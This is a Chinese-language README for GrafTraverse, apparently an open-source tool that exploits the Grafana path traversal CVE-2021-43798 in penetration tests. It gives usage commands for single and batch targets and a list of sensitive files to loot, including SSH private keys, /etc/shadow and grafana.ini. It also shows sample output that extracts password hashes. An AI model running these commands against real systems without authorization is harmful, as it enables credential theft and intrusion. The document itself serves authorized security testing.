用于授权安全测试 Grafana 目录遍历漏洞(CVE-2021-43798)的命令行自动化工具。
CVE-2021-43798 是 Grafana 8.x 中存在的一个未认证目录遍历漏洞,攻击者可以通过 /public/plugins/ 端点读取底层文件系统中的任意文件。根本原因在于对插件资产请求的路径清理不当,导致 ../ 序列能够逃逸出预期目录。
GrafTraverse 是对原始概念验证代码的完全重写。它修复了关键的请求处理错误,增加了多线程批量扫描、自动插件发现、凭据提取和结构化报告功能——使其成为红队和渗透测试人员的生产级工具。
| 功能 | 描述 |
|---|---|
| 多插件暴力破解 | 自动探测 40+ 内置插件以找到易受攻击的路径 |
| 交互模式 | 菜单驱动的单目标利用,支持实时文件预览 |
| 批量模式 | 并发多目标扫描,支持可配置的工作线程数 |
| 字典模式 | 使用自定义字典进行深度文件枚举 |
| 自动哈希提取 | 从下载的 grafana.db 中自动提取 PBKDF2 密码哈希 |
| 结构化日志 | 将结果导出为 JSON 和 CSV,便于无缝报告 |
| 代理支持 | 通过 Burp、ZAP 或任何 HTTP 代理路由流量(--proxy) |
| 自定义请求头 | 注入任意请求头以绕过 WAF 或添加认证令牌(-H) |
| 遍历深度自定义 | 为非标准环境覆盖默认遍历深度(--depth) |
| 智能过滤 | 通过拒绝插件 JS/CSS/HTML 响应来消除误报 |
| 零依赖 | 仅需 requests(Kali / Parrot 中已预装) |
# 克隆仓库
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# 确保已安装 requests(Kali 自带)
pip3 install requests
# 添加可执行权限
chmod +x GrafTraverse.py
GrafTraverse 使用 子命令式 CLI。所有命令均支持 --help。
对单个主机启动交互菜单:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
交互模式
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. 自定义路径
5. 全自动战利品收集
6. 扫描插件
7. 退出
============================================================
快速识别哪个插件端点存在漏洞(不进行利用):
python3 GrafTraverse.py scan -u http://target:PORT
从文件加载目标并并发处理:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
targets.txt 格式:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# 以 # 开头的行将被忽略
传入自定义文件列表进行深度遍历:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
通过 Burp Suite 路由并添加自定义请求头:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| 标志 | 描述 |
|---|---|
-l, --list | 包含目标 URL 的文件(必填) |
--workers | 并发线程数(默认:5) |
(支持所有 single 标志) |
scan| 标志 | 描述 |
|---|---|
-u, --url | 目标 URL(必填) |
| (支持所有网络标志) |
[+] 输出目录: 20260526_GrafTraverse
[*] 测试: /etc/passwd (通过 alertlist 插件)
[+] 成功: /etc/passwd (1874 字节)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] 已保存: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] 测试: /var/lib/grafana/grafana.db (通过 alertlist 插件)
[+] 成功: /var/lib/grafana/grafana.db (98304 字节)
[+] 已保存: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] 提取到 3 个密码哈希:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
内置战利品收集序列会按顺序尝试获取以下文件:
| 标志 | 描述 |
|---|
-u, --url | 目标 URL(必填) |
--no-download | 仅查看模式,不保存文件 |
-t, --timeout | 请求超时时间(秒,默认:10) |
--proxy | HTTP/HTTPS 代理 URL |
-H, --header | 自定义请求头(可重复) |
--depth | 遍历字符串(默认:../../../../../../../../) |
--output-dir | 保存检索文件的目录 |
--json | 将结果追加到 JSON 日志文件 |
--csv | 将结果追加到 CSV 日志文件 |
--wordlist | 包含要枚举的路径的文件 |
--plugin | 强制指定特定插件名称 |
| 文件 | 类型 | 敏感程度 |
|---|
/etc/passwd | 文本 | 用户枚举 |
/etc/shadow | 文本 | 密码哈希(通常不可读) |
/etc/hosts | 文本 | 网络拓扑 |
/etc/hostname | 文本 | 主机识别 |
/etc/grafana/grafana.ini | 文本 | Grafana 密钥和数据库凭据 |
/var/lib/grafana/grafana.db | 二进制 | 包含用户哈希和 API 密钥的 SQLite 数据库 |
/var/log/grafana/grafana.log | 文本 | 运行信息 |
/root/.ssh/id_rsa | 文本 | SSH 私钥 |
/root/.ssh/authorized_keys | 文本 | 基于密钥的访问映射 |
/proc/self/environ | 文本 | 进程环境变量 |
/proc/self/cmdline | 文本 | 进程参数 |
/proc/version | 文本 | 内核版本 |
/proc/mounts | 文本 | 文件系统布局 |
/etc/os-release | 文本 | 操作系统识别 |
/etc/issue | 文本 | 操作系统识别 |
/etc/crontab | 文本 | 计划任务 |
/etc/resolv.conf | 文本 | DNS 配置 |